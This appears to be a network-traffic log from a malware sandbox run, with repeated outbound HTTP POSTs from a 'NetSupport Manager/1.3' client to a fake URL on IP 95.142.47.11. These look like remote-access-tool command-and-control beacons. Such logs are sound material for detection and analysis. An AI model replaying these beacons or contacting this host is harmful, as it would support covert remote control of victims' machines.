Dec 6, 2023 14:53:27.344018936 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:27.443979979 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:27.544956923 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:27.645962000 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:27.746026039 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:27.846930981 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:27.947205067 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:28.048089027 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:28.148957014 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:28.250057936 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:28.356125116 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:28.458256006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:28.558995008 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:28.659066916 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:28.860958099 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:28.962043047 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:29.076255083 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:29.177856922 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:29.279077053 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:29.379081964 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:29.757054090 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:29.857976913 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:29.958266973 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:30.059078932 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:30.160095930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:30.260247946 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:30.360065937 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:30.459985018 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:30.561099052 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:30.661056042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:30.762135983 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:30.862967968 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:30.963951111 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:31.064929008 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:31.164949894 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:31.266060114 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:31.366420031 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:31.467021942 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:31.568062067 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:31.668312073 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:31.767985106 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:31.868952036 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:31.970016956 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:32.070728064 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:32.169974089 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:32.271023989 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:32.370985985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:32.470968962 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:32.571948051 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:32.672215939 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:32.772989035 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:32.872972012 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:32.973949909 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:33.075001955 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:33.175923109 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:33.275952101 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:33.375936031 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:33.475934982 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:33.575943947 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:33.675981998 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:33.775957108 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:33.876969099 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:33.977943897 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:34.077986956 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:34.177951097 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:34.278947115 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:34.378948927 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:34.479928017 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:34.580049038 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:34.680969000 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:34.780997992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:34.881928921 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:34.982942104 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:35.083071947 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:35.183944941 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:35.285079002 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:35.385066032 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:35.485929966 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:35.585917950 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:35.685991049 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:35.786955118 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:35.887105942 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:35.988123894 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:36.088097095 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:36.189107895 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:36.289093971 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:36.389127016 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:36.490087986 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:36.590151072 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:36.690104961 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:36.790046930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:36.891094923 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:53:36.991982937 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
